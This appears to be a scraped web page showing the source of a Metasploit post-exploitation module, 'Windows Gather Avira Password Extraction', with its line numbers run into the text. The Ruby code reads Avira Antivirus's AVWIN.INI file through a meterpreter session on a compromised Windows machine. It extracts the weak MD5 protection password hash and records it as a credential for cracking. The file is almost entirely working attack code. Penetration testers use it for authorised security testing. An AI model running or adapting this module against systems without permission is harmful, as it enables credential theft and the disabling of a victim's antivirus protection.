Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/avira_password.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Avira Password Extraction',13'Description' => %q{14This module extracts the weakly hashed password15which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.16},17'License' => MSF_LICENSE,18'Author' => [ 'Robert Kugler / robertchrk'],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24core_channel_eof25core_channel_open26core_channel_read27core_channel_write28stdapi_fs_stat29]30}31}32)33)34end3536def run37print_status('Checking default location...')38check_programdata('C:\\ProgramData\\Avira\\Antivirus\\CONFIG\\AVWIN.INI')39end4041def check_programdata(path)42client.fs.file.stat(path)43print_status("Found file at #{path}")44get_ini(path)45rescue StandardError46print_error("Error reading or processing #{path}.")47end4849def get_ini(filename)50config = client.fs.file.new(filename, 'r')51parse = Rex::Text.to_ascii(config.read)52ini = Rex::Parser::Ini.from_s(parse)5354if ini == {}55print_error('Unable to parse file')56return57end5859print_status('Processing configuration file...')60passwd = ini['COMMON']['Password']61passwd = passwd.delete '"'62create_credential({63workspace_id: myworkspace_id,64origin_type: :session,65session_id: session_db_id,66post_reference_name: refname,67private_type: :nonreplayable_hash,68jtr_format: 'Raw-MD5u', # hard coded since hash identifier wont know its unicode69private_data: passwd,70service_name: 'Avira Antivirus',71status: Metasploit::Model::Login::Status::UNTRIED72})73print_good("MD5(Unicode) hash found: #{passwd}")74print_good('Info: Password length is limited to 20 characters.')75end76end777879